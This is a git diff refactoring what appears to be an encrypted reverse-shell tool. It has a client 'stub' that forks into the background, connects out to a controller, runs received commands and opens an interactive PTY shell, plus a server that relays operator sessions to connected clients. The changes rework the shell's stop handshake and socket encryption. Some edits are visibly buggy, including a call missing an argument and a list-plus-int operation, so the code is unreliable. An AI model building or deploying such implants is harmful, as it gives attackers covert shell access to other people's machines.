Synchronize PTY stop sequence

3 files changed, 77 insertions, 55 deletions

diff --git a/crypto.py b/crypto.py
index 662d5e6..77d795f 100644
--- a/crypto.py
+++ b/crypto.py
@@ -180,8 +180,8 @@ class PKSock:
         self.rpk = {'n': Crypto.b2i(self.recv()), 'e': Crypto.exp}
         return True
 
-    def handshake_server (self, server_rpk):
-        self.rpk = server_rpk
+    def handshake_server (self, server_pk):
+        self.rpk = server_pk
         self.raw_send(Crypto.i2b(self.nbytes))
         rnbytes = Crypto.b2i(self.raw_recv(self.headsz))
         if self.nbytes != rnbytes:
diff --git a/pkcli_stub.py b/pkcli_stub.py
index 476636d..09f7aae 100644
--- a/pkcli_stub.py
+++ b/pkcli_stub.py
@@ -36,7 +36,7 @@ def main():
         port = int(port)
 
     print('working')
-    p,q,n,e,d = keygen(bits=bits)
+    p,q,n,e,d = Crypto.keygen(bits=bits)
     privkey = { 'n': n, 'd': d }
     refresh_hdb()
     print('done')
@@ -62,16 +62,6 @@ def polymorph():
     if os.fork() != 0:
         sys.exit(0)
 
-def handshake(sock, privkey, rpubkey, bits):
-    nbytes, headsz = bits//8, 2
-    sock.sendall(nbytes.to_bytes(headsz, 'big'))
-    rnbytes = int.from_bytes(sock.recv(headsz), 'big')
-    if rnbytes != nbytes:
-        return False
-
-    send_encrypted(sock, privkey['n'].to_bytes(nbytes, 'big'), rpubkey['e'], rpubkey['n'], bits=bits)
-    return True
-
 def refresh_hdb():
     global hostkeys_url, hdb
     try:
@@ -102,8 +92,22 @@ def get_hostkey(host):
         del hkdb[host]
         return False
 
-def run_pty(sock, screen_is, screen_os):
-    term = screen_is.recv()
+def pty_barrier(sock):
+    code = [0]*len(b'\xc0\xdeack')
+
+    while bytes(code) != b'\xc0\xdeack':
+        buffer = sock.recv()
+        while len(buffer) > 0:
+            code = code[:-1]+buffer[0]
+            buffer = buffer[1:]
+            if bytes(code) == b'\xc0\xdeack':
+                break
+
+    sock.stop_stream(len(buffer))
+
+def run_pty(sock):
+    sock.start_stream()
+    term = sock.recv()
     sel = selectors.DefaultSelector()
     pid, shfd = pty.fork()
     if pid == 0:
@@ -115,30 +119,36 @@ def run_pty(sock, screen_is, screen_os):
 
     try:
         sel.register(shfd, selectors.EVENT_READ, 0)
-        sel.register(sock, selectors.EVENT_READ, 1)
+        sel.register(sock.sock, selectors.EVENT_READ, 1)
         while True:
             events = sel.select()
-            for event, mask in events:
+            quit = False
+
+            for event, _ in events:
                 if event.data == 0:
                     try:
                         data = os.read(shfd, 1024)
                     except:
                         data = False
                     if not data:
-                        return True
-                    screen_os.send(data)
+                        quit = True
+                    else:
+                        sock.send(data)
                 else:
-                    try:
-                        data = screen_is.recv()
-                    except:
-                        data = False
+                    data = sock.recv()
                     if not data:
                         return False
-                    elif data == b'\xc0\xdenpty':
-                        return True
-                    os.write(shfd, data)
+                    elif data[:6] == b'\xc0\xdenpty':
+                        quit = True
+                    else:
+                        os.write(shfd, data)
+
+            if quit:
+                sock.send(b'\xc0\xdenpty')
+                pty_barrier(sock)
+                return True
     except:
-        return
+        return False
     finally:
         sel.close()
         try:
@@ -152,29 +162,30 @@ def work(h_addr, port, privkey, bits):
         host = socket.gethostbyname(h_addr)
     except:
         host = h_addr
-    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
     try:
-        sock.connect((host, port))
+        raw_sock.connect((host, port))
+        sock = PKSock(raw_sock, privkey, bits)
         hostkey = get_hostkey(host)
         if hostkey:
             rpubkey = hostkey
         else:
             rpubkey = {'n': server_modulus, 'e': exp}
-        if not handshake(sock, privkey, rpubkey, bits=bits):
+        if not sock.handshake_server(rpubkey):
             return True
 
         PS1 = '$ '
         if 'PS1' in os.environ:
             PS1 = os.environ['PS1']
-        send_encrypted(sock, PS1, rpubkey['e'], rpubkey['n'], bits=bits)
+        sock.send(PS1)
         while True:
-            cmd = recv_encrypted(sock, privkey['d'], privkey['n'], bits=bits)
+            cmd = sock.recv()
             if cmd == b'tunnel':
-                send_encrypted(sock, b'\xde\xad', rpubkey['e'], rpubkey['n'], bits=bits)
+                sock.send(b'\xde\xad')
                 return True
             elif cmd == b'die':
-                send_encrypted(sock, b'\xde\xad', rpubkey['e'], rpubkey['n'], bits=bits)
+                sock.send(b'\xde\xad')
                 return False
             elif cmd == b'refresh-hdb':
                 if refresh_hdb():
@@ -182,11 +193,8 @@ def work(h_addr, port, privkey, bits):
                 else:
                     response = '[pk] Error: could not refresh host database.\n'
             elif cmd == b'pty':
-                screen_is = InStreamCipher(sock, privkey, bits=bits)
-                screen_os = OutStreamCipher(sock, rpubkey, bits=bits)
-                if not run_pty(sock, screen_is, screen_os):
+                if not run_pty(sock):
                     return True
-                screen_os.send(b'\xc0\xdenpty')
                 continue
             else:
                 try:
@@ -197,11 +205,11 @@ def work(h_addr, port, privkey, bits):
                         response = str(response, 'utf-8')
                 except Exception as e:
                     response = '%s\n' % str(e)
-            send_encrypted(sock, '%s%s' % (response, PS1), rpubkey['e'], rpubkey['n'], bits=bits)
+            sock.send('%s%s' % (response, PS1))
     except:
         return True
     finally:
-        sock.close()
+        raw_sock.close()
 
 if __name__ == '__main__':
     main()
diff --git a/pkd_stub.py b/pkd_stub.py
index f3ff1f7..c7209b2 100644
--- a/pkd_stub.py
+++ b/pkd_stub.py
@@ -139,14 +139,14 @@ def screens_pty(sel, screen, client):
             os.environ['TERM'] = 'xterm-256color'
         client['osc'].send(bytes(os.environ['TERM'], 'utf-8'))
     except:
-        tcp_unpty(sel, client)
+        tcp_unpty(sel, client, catchup=False)
         tcp_disconnect(sel, client)
     
     try:
         screen['sock'].sendall(b'\xc0\xdepty')
     except:
         screens_detach(sel, screen)
-        tcp_unpty(sel, client)
+        tcp_send_npty(sel, client)
         return
 
 def screens_read(sel, sock, screen):
@@ -160,7 +160,7 @@ def screens_read(sel, sock, screen):
     if not data or data == b'\xde\xad':
         screens_detach(sel, screen)
         if screen['pty']:
-            tcp_unpty(sel, screen['pty'], npty_screen=False)
+            tcp_send_npty(sel, screen['pty'])
         return
 
     if screen['pty']:
@@ -285,14 +285,15 @@ def register_screens(sel, socket_file):
 
 def tcp_disconnect(sel, client):
     global tcp_clients
+    if client not in tcp_clients:
+        return
+
     sel.unregister(client['sock'])
     client['sock'].close()
     client['alive'] = False
-
-    if client in tcp_clients:
-        idx = tcp_clients.index(client)
-        del tcp_clients[idx]
-        brint('[INFO] TCP Client %d disconnected.' % idx)
+    idx = tcp_clients.index(client)
+    del tcp_clients[idx]
+    brint('[INFO] TCP Client %d disconnected.' % idx)
 
 def tcp_dumpq(sel, client):
     global cmdq
@@ -303,17 +304,30 @@ def tcp_dumpq(sel, client):
         except:
             tcp_disconnect(sel, client)
 
-def tcp_unpty(sel, client, catchup=True, npty_screen=True):
+def tcp_send_npty(sel, client):
+    try:
+        client['osc'].send(b'\xc0\xdenpty')
+    except:
+        tcp_disconnect(sel, client)
+
+def tcp_unpty(sel, client, catchup=True):
     if type(client['pty']) == dict:
         client['pty']['pty'] = False
-        if npty_screen and client['pty']['alive']:
+        if client['pty']['alive']:
             try:
                 client['pty']['sock'].sendall(b'\xc0\xdenpty')
             except:
                 screens_detach(sel, client['pty'])
-        del client['isc']
-        del client['osc']
+        
+    try:
+        client['osc'].send(b'\xc0\xdeack')
+    except:
+        tcp_disconnect(sel, client)
+    # this will become stop_stream(backtrack)
+    del client['isc']
+    del client['osc']
     client['pty'] = False
+
     if catchup:
         tcp_dumpq(sel, client)
 
@@ -333,15 +347,15 @@ def tcp_transport(sel, sock, client):
         return
     elif not client['pty']:
         brint('[%d]' % tcp_clients.index(client), data, end='', prompt=False)
-    elif data == b'\xc0\xdenpty':
-        tcp_unpty(sel, client)
+    elif data[:6] == b'\xc0\xdenpty':
+        tcp_unpty(sel, client, catchup=True)
         print('[INFO] npty acknowledged')
     else:
         try:
             client['pty']['sock'].sendall(data)
         except:
             screens_detach(sel, client['pty'])
-            tcp_unpty(sel, client, npty_screen=False)
+            tcp_send_npty(client)
 
 def tcp_handshake(sock):
     global privkey, bits, exp